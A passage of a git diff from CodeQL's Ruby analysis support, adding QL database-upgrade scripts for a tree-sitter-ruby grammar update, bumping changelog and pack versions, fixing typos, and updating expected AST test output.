+| 12 = @ruby_token_forward_parameter
+| 13 = @ruby_token_global_variable
+| 14 = @ruby_token_hash_key_symbol
+| 15 = @ruby_token_hash_splat_nil
+| 16 = @ruby_token_heredoc_beginning
+| 17 = @ruby_token_heredoc_content
+| 18 = @ruby_token_heredoc_end
+| 19 = @ruby_token_identifier
+| 20 = @ruby_token_instance_variable
+| 21 = @ruby_token_integer
+| 22 = @ruby_token_line
+| 23 = @ruby_token_nil
+| 24 = @ruby_token_operator
+| 25 = @ruby_token_self
+| 26 = @ruby_token_simple_symbol
+| 27 = @ruby_token_string_content
+| 28 = @ruby_token_super
+| 29 = @ruby_token_true
+| 30 = @ruby_token_uninterpreted
+;
+
+
+@ruby_ast_node = @ruby_alias | @ruby_alternative_pattern | @ruby_argument_list | @ruby_array | @ruby_array_pattern | @ruby_as_pattern | @ruby_assignment | @ruby_bare_string | @ruby_bare_symbol | @ruby_begin | @ruby_begin_block | @ruby_binary | @ruby_block | @ruby_block_argument | @ruby_block_parameter | @ruby_block_parameters | @ruby_break | @ruby_call | @ruby_case__ | @ruby_case_match | @ruby_chained_string | @ruby_class | @ruby_complex | @ruby_conditional | @ruby_delimited_symbol | @ruby_destructured_left_assignment | @ruby_destructured_parameter | @ruby_do | @ruby_do_block | @ruby_element_reference | @ruby_else | @ruby_elsif | @ruby_end_block | @ruby_ensure | @ruby_exception_variable | @ruby_exceptions | @ruby_expression_reference_pattern | @ruby_find_pattern | @ruby_for | @ruby_hash | @ruby_hash_pattern | @ruby_hash_splat_argument | @ruby_hash_splat_parameter | @ruby_heredoc_body | @ruby_if | @ruby_if_guard | @ruby_if_modifier | @ruby_in | @ruby_in_clause | @ruby_interpolation | @ruby_keyword_parameter | @ruby_keyword_pattern | @ruby_lambda | @ruby_lambda_parameters | @ruby_left_assignment_list | @ruby_method | @ruby_method_parameters | @ruby_module | @ruby_next | @ruby_operator_assignment | @ruby_optional_parameter | @ruby_pair | @ruby_parenthesized_pattern | @ruby_parenthesized_statements | @ruby_pattern | @ruby_program | @ruby_range | @ruby_rational | @ruby_redo | @ruby_regex | @ruby_rescue | @ruby_rescue_modifier | @ruby_rest_assignment | @ruby_retry | @ruby_return | @ruby_right_assignment_list | @ruby_scope_resolution | @ruby_setter | @ruby_singleton_class | @ruby_singleton_method | @ruby_splat_argument | @ruby_splat_parameter | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_superclass | @ruby_symbol_array | @ruby_then | @ruby_token | @ruby_unary | @ruby_undef | @ruby_unless | @ruby_unless_guard | @ruby_unless_modifier | @ruby_until | @ruby_until_modifier | @ruby_variable_reference_pattern | @ruby_when | @ruby_while | @ruby_while_modifier | @ruby_yield
+
+@ruby_ast_node_parent = @file | @ruby_ast_node
+
+#keyset[parent, parent_index]
+ruby_ast_node_info(
+  unique int node: @ruby_ast_node ref,
+  int parent: @ruby_ast_node_parent ref,
+  int parent_index: int ref,
+  int loc: @location ref
+);
+
+erb_comment_directive_def(
+  unique int id: @erb_comment_directive,
+  int child: @erb_token_comment ref
+);
+
+erb_directive_def(
+  unique int id: @erb_directive,
+  int child: @erb_token_code ref
+);
+
+erb_graphql_directive_def(
+  unique int id: @erb_graphql_directive,
+  int child: @erb_token_code ref
+);
+
+erb_output_directive_def(
+  unique int id: @erb_output_directive,
+  int child: @erb_token_code ref
+);
+
+@erb_template_child_type = @erb_comment_directive | @erb_directive | @erb_graphql_directive | @erb_output_directive | @erb_token_content
+
+#keyset[erb_template, index]
+erb_template_child(
+  int erb_template: @erb_template ref,
+  int index: int ref,
+  unique int child: @erb_template_child_type ref
+);
+
+erb_template_def(
+  unique int id: @erb_template
+);
+
+erb_tokeninfo(
+  unique int id: @erb_token,
+  int kind: int ref,
+  string value: string ref
+);
+
+case @erb_token.kind of
+  0 = @erb_reserved_word
+| 1 = @erb_token_code
+| 2 = @erb_token_comment
+| 3 = @erb_token_content
+;
+
+
+@erb_ast_node = @erb_comment_directive | @erb_directive | @erb_graphql_directive | @erb_output_directive | @erb_template | @erb_token
+
+@erb_ast_node_parent = @erb_ast_node | @file
+
+#keyset[parent, parent_index]
+erb_ast_node_info(
+  unique int node: @erb_ast_node ref,
+  int parent: @erb_ast_node_parent ref,
+  int parent_index: int ref,
+  int loc: @location ref
+);
+
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_ast_node_info.ql b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_ast_node_info.ql
new file mode 100644
index 00000000000..18cff225540
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_ast_node_info.ql
@@ -0,0 +1,45 @@
+class ScopeResolutionMethodCall extends @ruby_call {
+  private @ruby_scope_resolution scope;
+
+  ScopeResolutionMethodCall() { ruby_call_def(this, scope) }
+
+  @ruby_scope_resolution getScopeResolution() { result = scope }
+
+  string toString() { none() }
+}
+
+class Location extends @location {
+  string toString() { none() }
+}
+
+class RubyAstNode extends @ruby_ast_node {
+  string toString() { none() }
+}
+
+class RubyAstNodeParent extends @ruby_ast_node_parent {
+  string toString() { none() }
+}
+
+from RubyAstNode node, RubyAstNodeParent parent, int index, Location loc
+where
+  ruby_ast_node_info(node, parent, index, loc) and
+  not node = any(ScopeResolutionMethodCall c).getScopeResolution() and
+  not parent = any(ScopeResolutionMethodCall c) and
+  not parent = any(ScopeResolutionMethodCall c).getScopeResolution()
+  or
+  ruby_ast_node_info(node, _, _, loc) and
+  parent instanceof ScopeResolutionMethodCall and
+  node =
+    rank[index + 1](RubyAstNode child, int x, int oldIndex |
+      exists(RubyAstNodeParent oldParent |
+        ruby_ast_node_info(child, oldParent, oldIndex, _) and
+        child != parent.(ScopeResolutionMethodCall).getScopeResolution()
+      |
+        oldParent = parent and x = 1
+        or
+        oldParent = parent.(ScopeResolutionMethodCall).getScopeResolution() and x = 0
+      )
+    |
+      child order by x, oldIndex
+    )
+select node, parent, index, loc
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_block_parameters_child.ql b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_block_parameters_child.ql
new file mode 100644
index 00000000000..9611d522db5
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_block_parameters_child.ql
@@ -0,0 +1,29 @@
+class RubyBlockParameters extends @ruby_block_parameters {
+  string toString() { none() }
+}
+
+class RubyIdentifier extends @ruby_token_identifier {
+  string toString() { none() }
+}
+
+predicate blockParametersLocals(RubyBlockParameters params, int index, RubyIdentifier local) {
+  local =
+    rank[index + 1](@ruby_token semi, int semiIndex, RubyIdentifier id, int idIndex |
+      ruby_tokeninfo(semi, _, ";") and
+      ruby_ast_node_info(semi, params, semiIndex, _) and
+      ruby_ast_node_info(id, params, idIndex, _) and
+      idIndex > semiIndex
+    |
+      id order by idIndex
+    )
+}
+
+class RubyBlockParameter extends @ruby_block_parameters_child_type {
+  string toString() { none() }
+}
+
+from RubyBlockParameters ruby_block_parameters, int index, RubyBlockParameter param
+where
+  ruby_block_parameters_child(ruby_block_parameters, index, param) and
+  not blockParametersLocals(ruby_block_parameters, _, param)
+select ruby_block_parameters, index, param
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_block_parameters_locals.ql b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_block_parameters_locals.ql
new file mode 100644
index 00000000000..cbe70adde55
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_block_parameters_locals.ql
@@ -0,0 +1,23 @@
+class RubyBlockParameters extends @ruby_block_parameters {
+  string toString() { none() }
+}
+
+class RubyIdentifier extends @ruby_token_identifier {
+  string toString() { none() }
+}
+
+predicate blockParametersLocals(RubyBlockParameters params, int index, RubyIdentifier local) {
+  local =
+    rank[index + 1](@ruby_token semi, int semiIndex, RubyIdentifier id, int idIndex |
+      ruby_tokeninfo(semi, _, ";") and
+      ruby_ast_node_info(semi, params, semiIndex, _) and
+      ruby_ast_node_info(id, params, idIndex, _) and
+      idIndex > semiIndex
+    |
+      id order by idIndex
+    )
+}
+
+from RubyBlockParameters ruby_block_parameters, int index, RubyIdentifier local
+where blockParametersLocals(ruby_block_parameters, index, local)
+select ruby_block_parameters, index, local
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_arguments.ql b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_arguments.ql
new file mode 100644
index 00000000000..39f55a926af
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_arguments.ql
@@ -0,0 +1,43 @@
+class RubyCallMethodType = @ruby_token_operator or @ruby_underscore_variable;
+
+class RubyArgumentList extends @ruby_argument_list {
+  string toString() { none() }
+}
+
+abstract class RubyCall extends @ruby_ast_node {
+  string toString() { none() }
+
+  abstract RubyArgumentList getArguments();
+}
+
+class NormalRubyCall extends RubyCall, @ruby_call {
+  NormalRubyCall() { ruby_call_def(this, any(RubyCallMethodType m)) }
+
+  override RubyArgumentList getArguments() { ruby_call_arguments(this, result) }
+}
+
+class ImplicitRubyCall extends RubyCall, @ruby_call {
+  RubyArgumentList arguments;
+
+  ImplicitRubyCall() { ruby_call_def(this, arguments) }
+
+  override RubyArgumentList getArguments() { result = arguments }
+}
+
+class ScopeResolutionCall extends RubyCall, @ruby_scope_resolution {
+  ScopeResolutionCall() {
+    ruby_scope_resolution_def(this, any(@ruby_token_identifier m)) and
+    not ruby_call_def(_, this)
+  }
+
+  override RubyArgumentList getArguments() { none() }
+}
+
+class ScopeResolutionMethodCall extends RubyCall, @ruby_call {
+  ScopeResolutionMethodCall() { ruby_call_def(this, any(@ruby_scope_resolution s)) }
+
+  override RubyArgumentList getArguments() { ruby_call_arguments(this, result) }
+}
+
+from RubyCall ruby_call
+select ruby_call, ruby_call.getArguments()
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_def.ql b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_def.ql
new file mode 100644
index 00000000000..6e5babf86f2
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_def.ql
@@ -0,0 +1,27 @@
+class RubyCallMethodType = @ruby_token_operator or @ruby_underscore_variable;
+
+abstract class RubyCall extends @ruby_ast_node {
+  string toString() { none() }
+}
+
+class NormalRubyCall extends RubyCall, @ruby_call {
+  NormalRubyCall() { ruby_call_def(this, any(RubyCallMethodType m)) }
+}
+
+class ImplicitRubyCall extends RubyCall, @ruby_call {
+  ImplicitRubyCall() { ruby_call_def(this, any(@ruby_argument_list a)) }
+}
+
+class ScopeResolutionCall extends RubyCall, @ruby_scope_resolution {
+  ScopeResolutionCall() {
+    ruby_scope_resolution_def(this, any(@ruby_token_identifier m)) and
+    not ruby_call_def(_, this)
+  }
+}
+
+class ScopeResolutionMethodCall extends RubyCall, @ruby_call {
+  ScopeResolutionMethodCall() { ruby_call_def(this, any(@ruby_scope_resolution s)) }
+}
+
+from RubyCall ruby_call
+select ruby_call
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_method.ql b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_method.ql
new file mode 100644
index 00000000000..bd93c22455c
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_method.ql
@@ -0,0 +1,46 @@
+class RubyCallMethodType = @ruby_token_operator or @ruby_underscore_variable;
+
+class RubyMethod extends RubyCallMethodType {
+  string toString() { none() }
+}
+
+abstract class RubyCall extends @ruby_ast_node {
+  string toString() { none() }
+
+  abstract RubyMethod getMethod();
+}
+
+class NormalRubyCall extends RubyCall, @ruby_call {
+  private RubyMethod method;
+
+  NormalRubyCall() { ruby_call_def(this, method) }
+
+  override RubyMethod getMethod() { result = method }
+}
+
+class ScopeResolutionCall extends RubyCall, @ruby_scope_resolution {
+  private @ruby_token_identifier method;
+
+  ScopeResolutionCall() {
+    ruby_scope_resolution_def(this, method) and
+    not ruby_call_def(_, this)
+  }
+
+  override RubyMethod getMethod() { result = method }
+}
+
+class ScopeResolutionMethodCall extends RubyCall, @ruby_call {
+  private RubyMethod method;
+
+  ScopeResolutionMethodCall() {
+    exists(@ruby_scope_resolution scope |
+      ruby_call_def(this, scope) and
+      ruby_scope_resolution_def(scope, method)
+    )
+  }
+
+  override RubyMethod getMethod() { result = method }
+}
+
+from RubyCall ruby_call
+select ruby_call, ruby_call.getMethod()
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_operator.ql b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_operator.ql
new file mode 100644
index 00000000000..a8c2086529a
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_operator.ql
@@ -0,0 +1,45 @@
+class RubyCallOperator extends @ruby_reserved_word {
+  RubyCallOperator() { ruby_tokeninfo(this, _, [".", "::", "&."]) }
+
+  string toString() { none() }
+}
+
+class RubyCallMethodType = @ruby_token_operator or @ruby_underscore_variable;
+
+abstract class RubyCall extends @ruby_ast_node {
+  string toString() { none() }
+
+  abstract RubyCallOperator getOperator();
+}
+
+class NormalRubyCall extends RubyCall, @ruby_call {
+  NormalRubyCall() { ruby_call_def(this, any(RubyCallMethodType m)) }
+
+  override RubyCallOperator getOperator() { ruby_ast_node_info(result, this, _, _) }
+}
+
+class ImplicitRubyCall extends RubyCall, @ruby_call {
+  ImplicitRubyCall() { ruby_call_def(this, any(@ruby_argument_list a)) }
+
+  override RubyCallOperator getOperator() { ruby_ast_node_info(result, this, _, _) }
+}
+
+class ScopeResolutionCall extends RubyCall, @ruby_scope_resolution {
+  ScopeResolutionCall() {
+    ruby_scope_resolution_def(this, any(@ruby_token_identifier m)) and
+    not ruby_call_def(_, this)
+  }
+
+  override RubyCallOperator getOperator() { ruby_ast_node_info(result, this, _, _) }
+}
+
+class ScopeResolutionMethodCall extends RubyCall, @ruby_call {
+  private @ruby_scope_resolution scope;
+
+  ScopeResolutionMethodCall() { ruby_call_def(this, scope) }
+
+  override RubyCallOperator getOperator() { ruby_ast_node_info(result, scope, _, _) }
+}
+
+from RubyCall ruby_call
+select ruby_call, ruby_call.getOperator()
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_receiver.ql b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_receiver.ql
new file mode 100644
index 00000000000..81a316eaabd
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_call_receiver.ql
@@ -0,0 +1,43 @@
+class RubyCallMethodType = @ruby_token_operator or @ruby_underscore_variable;
+
+class RubyPrimary extends @ruby_underscore_primary {
+  string toString() { none() }
+}
+
+abstract class RubyCall extends @ruby_ast_node {
+  string toString() { none() }
+
+  abstract RubyPrimary getReceiver();
+}
+
+class NormalRubyCall extends RubyCall, @ruby_call {
+  NormalRubyCall() { ruby_call_def(this, any(RubyCallMethodType m)) }
+
+  override RubyPrimary getReceiver() { ruby_call_receiver(this, result) }
+}
+
+class ImplicitRubyCall extends RubyCall, @ruby_call {
+  ImplicitRubyCall() { ruby_call_def(this, any(@ruby_argument_list a)) }
+
+  override RubyPrimary getReceiver() { ruby_call_receiver(this, result) }
+}
+
+class ScopeResolutionCall extends RubyCall, @ruby_scope_resolution {
+  ScopeResolutionCall() {
+    ruby_scope_resolution_def(this, any(@ruby_token_identifier m)) and
+    not ruby_call_def(_, this)
+  }
+
+  override RubyPrimary getReceiver() { ruby_scope_resolution_scope(this, result) }
+}
+
+class ScopeResolutionMethodCall extends RubyCall, @ruby_call {
+  private @ruby_scope_resolution scope;
+
+  ScopeResolutionMethodCall() { ruby_call_def(this, scope) }
+
+  override RubyPrimary getReceiver() { ruby_scope_resolution_scope(scope, result) }
+}
+
+from RubyCall ruby_call
+select ruby_call, ruby_call.getReceiver()
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_scope_resolution_def.ql b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_scope_resolution_def.ql
new file mode 100644
index 00000000000..db858388b65
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_scope_resolution_def.ql
@@ -0,0 +1,16 @@
+class RubyScopeResolution extends @ruby_scope_resolution {
+  RubyScopeResolution() {
+    exists(RubyConstant name | ruby_scope_resolution_def(this, name)) and
+    not ruby_call_def(_, this)
+  }
+
+  string toString() { none() }
+}
+
+class RubyConstant extends @ruby_token_constant {
+  string toString() { none() }
+}
+
+from RubyScopeResolution scope, RubyConstant name
+where ruby_scope_resolution_def(scope, name)
+select scope, name
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_tokeninfo.ql b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_tokeninfo.ql
new file mode 100644
index 00000000000..1d4af53f766
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/ruby_tokeninfo.ql
@@ -0,0 +1,20 @@
+private class RubyToken extends @ruby_token {
+  string toString() { none() }
+}
+
+bindingset[old]
+private int newKind(int old) {
+  // @ruby_token_complex was removed, for lack of a better solution
+  // it gets translated to @ruby_token_float
+  // 4 = @ruby_token_complex
+  // 10 = @ruby_token_float
+  old = 4 and result = 10
+  or
+  old <= 3 and result = old
+  or
+  old >= 5 and result = old - 1
+}
+
+from RubyToken id, int kind, string value
+where ruby_tokeninfo(id, kind, value)
+select id, newKind(kind), value
diff --git a/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/upgrade.properties b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/upgrade.properties
new file mode 100644
index 00000000000..8c5b2c86673
--- /dev/null
+++ b/ruby/ql/lib/upgrades/9fdd1d40fd3c3f8f9db8fabf5a353580d14c663a/upgrade.properties
@@ -0,0 +1,12 @@
+description: tree-sitter-ruby update
+compatibility: backwards
+ruby_block_parameters_child.rel: run ruby_block_parameters_child.qlo
+ruby_block_parameters_locals.rel: run ruby_block_parameters_locals.qlo
+ruby_call_def.rel:                run ruby_call_def.qlo
+ruby_call_arguments.rel:          run ruby_call_arguments.qlo
+ruby_call_method.rel:             run ruby_call_method.qlo
+ruby_call_operator.rel:           run ruby_call_operator.qlo
+ruby_call_receiver.rel:           run ruby_call_receiver.qlo
+ruby_scope_resolution_def.rel:    run ruby_scope_resolution_def.qlo
+ruby_ast_node_info.rel:           run ruby_ast_node_info.qlo
+ruby_tokeninfo.rel:               run ruby_tokeninfo.qlo
diff --git a/ruby/ql/src/CHANGELOG.md b/ruby/ql/src/CHANGELOG.md
index 291328e28c7..be4af4786d1 100644
--- a/ruby/ql/src/CHANGELOG.md
+++ b/ruby/ql/src/CHANGELOG.md
@@ -1,3 +1,13 @@
+## 0.1.2
+
+## 0.1.1
+
+### New Queries
+
+* Added a new query, `rb/insecure-download`. The query finds cases where executables and other sensitive files are downloaded over an insecure connection, which may allow for man-in-the-middle attacks.
+* Added a new query, `rb/regex/missing-regexp-anchor`, which finds regular expressions which are improperly anchored. Validations using such expressions are at risk of being bypassed.
+* Added a new query, `rb/incomplete-sanitization`. The query finds string transformations that do not replace or escape all occurrences of a meta-character.
+
 ## 0.1.0
 
 ### New Queries
diff --git a/ruby/ql/src/change-notes/2022-04-13-incomplete-sanitization.md b/ruby/ql/src/change-notes/2022-04-13-incomplete-sanitization.md
deleted file mode 100644
index 1dfa0d65d11..00000000000
--- a/ruby/ql/src/change-notes/2022-04-13-incomplete-sanitization.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: newQuery
----
-* Added a new query, `rb/incomplete-sanitization`. The query finds string transformations that do not replace or escape all occurrences of a meta-character.
diff --git a/ruby/ql/src/change-notes/2022-04-14-rb-insecure-download.md b/ruby/ql/src/change-notes/2022-04-14-rb-insecure-download.md
deleted file mode 100644
index 104f8253427..00000000000
--- a/ruby/ql/src/change-notes/2022-04-14-rb-insecure-download.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: newQuery
----
-* Added a new query, `rb/insecure-download`. The query finds cases where executables and other sensitive files are downloaded over an insecure connection, which may allow for man-in-the-middle attacks.
\ No newline at end of file
diff --git a/ruby/ql/src/change-notes/2022-04-14-rb-missing-regexp-anchor.md b/ruby/ql/src/change-notes/2022-04-14-rb-missing-regexp-anchor.md
deleted file mode 100644
index 7f18700d693..00000000000
--- a/ruby/ql/src/change-notes/2022-04-14-rb-missing-regexp-anchor.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: newQuery
----
-* Added a new query, `rb/regex/missing-regexp-anchor`, which finds regular expressions which are improperly anchored. Validations using such expressions are at risk of being bypassed.
\ No newline at end of file
diff --git a/ruby/ql/src/change-notes/released/0.1.1.md b/ruby/ql/src/change-notes/released/0.1.1.md
new file mode 100644
index 00000000000..602663ddbb1
--- /dev/null
+++ b/ruby/ql/src/change-notes/released/0.1.1.md
@@ -0,0 +1,7 @@
+## 0.1.1
+
+### New Queries
+
+* Added a new query, `rb/insecure-download`. The query finds cases where executables and other sensitive files are downloaded over an insecure connection, which may allow for man-in-the-middle attacks.
+* Added a new query, `rb/regex/missing-regexp-anchor`, which finds regular expressions which are improperly anchored. Validations using such expressions are at risk of being bypassed.
+* Added a new query, `rb/incomplete-sanitization`. The query finds string transformations that do not replace or escape all occurrences of a meta-character.
diff --git a/ruby/ql/src/change-notes/released/0.1.2.md b/ruby/ql/src/change-notes/released/0.1.2.md
new file mode 100644
index 00000000000..66bd49d11eb
--- /dev/null
+++ b/ruby/ql/src/change-notes/released/0.1.2.md
@@ -0,0 +1 @@
+## 0.1.2
diff --git a/ruby/ql/src/codeql-pack.release.yml b/ruby/ql/src/codeql-pack.release.yml
index 2e08f40f6aa..6abd14b1ef8 100644
--- a/ruby/ql/src/codeql-pack.release.yml
+++ b/ruby/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.0
+lastReleaseVersion: 0.1.2
diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml
index 0ad549dddf8..3e176887075 100644
--- a/ruby/ql/src/qlpack.yml
+++ b/ruby/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/ruby-queries
-version: 0.1.1-dev
+version: 0.1.3-dev
 groups: 
   - ruby
   - queries
diff --git a/ruby/ql/src/queries/security/cwe-352/CSRFProtectionDisabled.qhelp b/ruby/ql/src/queries/security/cwe-352/CSRFProtectionDisabled.qhelp
index 8b5ff38d5a3..7656a676d64 100644
--- a/ruby/ql/src/queries/security/cwe-352/CSRFProtectionDisabled.qhelp
+++ b/ruby/ql/src/queries/security/cwe-352/CSRFProtectionDisabled.qhelp
@@ -6,7 +6,7 @@
   <overview>
     <p>
       Cross-site request forgery (CSRF) is a type of vulnerability in which an
-      attacker is able to force a user carry out an action that the user did
+      attacker is able to force a user to carry out an action that the user did
       not intend.
     </p>
 
diff --git a/ruby/ql/test/TestUtilities/InlineExpectationsTest.qll b/ruby/ql/test/TestUtilities/InlineExpectationsTest.qll
index a4d264b2703..3891fcf13a1 100644
--- a/ruby/ql/test/TestUtilities/InlineExpectationsTest.qll
+++ b/ruby/ql/test/TestUtilities/InlineExpectationsTest.qll
@@ -181,7 +181,7 @@ private string expectationCommentPattern() { result = "\\s*\\$((?:[^/]|/[^/])*)(
 /**
  * The possible columns in an expectation comment. The `TDefaultColumn` branch represents the first
  * column in a comment. This column is not precedeeded by a name. `TNamedColumn(name)` represents a
- * column containing expected results preceeded by the string `name:`.
+ * column containing expected results preceded by the string `name:`.
  */
 private newtype TColumn =
   TDefaultColumn() or
diff --git a/ruby/ql/test/library-tests/ast/Ast.expected b/ruby/ql/test/library-tests/ast/Ast.expected
index adb3f41dec6..6f0242dd1c3 100644
--- a/ruby/ql/test/library-tests/ast/Ast.expected
+++ b/ruby/ql/test/library-tests/ast/Ast.expected
@@ -739,6 +739,24 @@ calls/calls.rb:
 #  356|       getStmt: [LocalVariableAccess] y
 #  357|       getStmt: [MethodCall] call to unknown_call
 #  357|         getReceiver: [SelfVariableAccess] self
+#  361|   getStmt: [MethodCall] call to empty?
+#  361|     getReceiver: [MethodCall] call to list
+#  361|       getReceiver: [SelfVariableAccess] self
+#  362|   getStmt: [MethodCall] call to empty?
+#  362|     getReceiver: [MethodCall] call to list
+#  362|       getReceiver: [SelfVariableAccess] self
+#  363|   getStmt: [MethodCall] call to empty?
+#  363|     getReceiver: [MethodCall] call to list
+#  363|       getReceiver: [SelfVariableAccess] self
+#  364|   getStmt: [MethodCall] call to bar
+#  364|     getReceiver: [MethodCall] call to foo
+#  364|       getReceiver: [SelfVariableAccess] self
+#  364|     getArgument: [IntegerLiteral] 1
+#  364|     getArgument: [IntegerLiteral] 2
+#  364|     getBlock: [BraceBlock] { ... }
+#  364|       getParameter: [SimpleParameter] x
+#  364|         getDefiningAccess: [LocalVariableAccess] x
+#  364|       getStmt: [LocalVariableAccess] x
 control/cases.rb:
 #    1| [Toplevel] cases.rb
 #    2|   getStmt: [AssignExpr] ... = ...
@@ -1716,11 +1734,11 @@ escape_sequences/escapes.rb:
 literals/literals.rb:
 #    1| [Toplevel] literals.rb
 #    2|   getStmt: [NilLiteral] nil
-#    3|   getStmt: [NilLiteral] NIL
+#    3|   getStmt: [ConstantReadAccess] NIL
 #    4|   getStmt: [BooleanLiteral] false
-#    5|   getStmt: [BooleanLiteral] FALSE
+#    5|   getStmt: [ConstantReadAccess] FALSE
 #    6|   getStmt: [BooleanLiteral] true
-#    7|   getStmt: [BooleanLiteral] TRUE
+#    7|   getStmt: [ConstantReadAccess] TRUE
 #   10|   getStmt: [IntegerLiteral] 1234
 #   11|   getStmt: [IntegerLiteral] 5_678
 #   12|   getStmt: [IntegerLiteral] 0
@@ -1752,6 +1770,8 @@ literals/literals.rb:
 #   48|   getStmt: [RationalLiteral] 23r
 #   49|   getStmt: [RationalLiteral] 9.85r
 #   52|   getStmt: [ComplexLiteral] 2i
+#   53|   getStmt: [ComplexLiteral] 3.14i
+#   56|   getStmt: [ComplexLiteral] 1.2ri
 #   59|   getStmt: [StringLiteral] ""
 #   60|   getStmt: [StringLiteral] ""
 #   61|   getStmt: [StringLiteral] "hello"
@@ -2054,10 +2074,10 @@ literals/literals.rb:
 #  139|     getStmt: [RangeLiteral] _ .. _
 #  139|       getEnd: [IntegerLiteral] 1
 #  140|   getStmt: [ParenthesizedExpr] ( ... )
-#  140|     getStmt: [SubExpr] ... - ...
-#  140|       getAnOperand/getLeftOperand/getReceiver: [RangeLiteral] _ .. _
-#  140|         getBegin: [IntegerLiteral] 0
-#  140|       getAnOperand/getArgument/getRightOperand: [IntegerLiteral] 1
+#  140|     getStmt: [RangeLiteral] _ .. _
+#  140|       getBegin: [IntegerLiteral] 0
+#  140|       getEnd: [UnaryMinusExpr] - ...
+#  140|         getAnOperand/getOperand/getReceiver: [IntegerLiteral] 1
 #  143|   getStmt: [SubshellLiteral] `ls -l`
 #  143|     getComponent: [StringTextComponent] ls -l
 #  144|   getStmt: [SubshellLiteral] `ls -l`
@@ -2990,6 +3010,16 @@ params/params.rb:
 #   83|       getReceiver: [LocalVariableAccess] array
 #   83|       getArgument: [BlockArgument] &...
 #   83|         getValue: [LocalVariableAccess] __synth__0
+#   86|   getStmt: [MethodCall] call to run_block
+#   86|     getReceiver: [SelfVariableAccess] self
+#   86|     getBlock: [BraceBlock] { ... }
+#   86|       getParameter: [SimpleParameter] x
+#   86|         getDefiningAccess: [LocalVariableAccess] x
+#   86|       getLocalVariable: [LocalVariableAccess] y
+#   86|       getLocalVariable: [LocalVariableAccess] z
+#   86|       getStmt: [MethodCall] call to puts
+#   86|         getReceiver: [SelfVariableAccess] self
+#   86|         getArgument: [LocalVariableAccess] x
 erb/template.html.erb:
 #   19| [Toplevel] template.html.erb
 #   19|   getStmt: [StringLiteral] "hello world"
diff --git a/ruby/ql/test/library-tests/ast/AstDesugar.expected b/ruby/ql/test/library-tests/ast/AstDesugar.expected
index 0c8a602058a..7a5d5e0c85c 100644
--- a/ruby/ql/test/library-tests/ast/AstDesugar.expected
+++ b/ruby/ql/test/library-tests/ast/AstDesugar.expected
@@ -279,6 +279,38 @@ calls/calls.rb:
 #  340|             getArgument: [IntegerLiteral] 4
 #  340|             getArgument: [IntegerLiteral] 5
 #  340|             getArgument: [IntegerLiteral] 6
+#  362| [MethodCall] call to empty?
+#  362|   getDesugared: [StmtSequence] ...
+#  362|     getStmt: [AssignExpr] ... = ...
+#  362|       getAnOperand/getRightOperand: [MethodCall] call to list
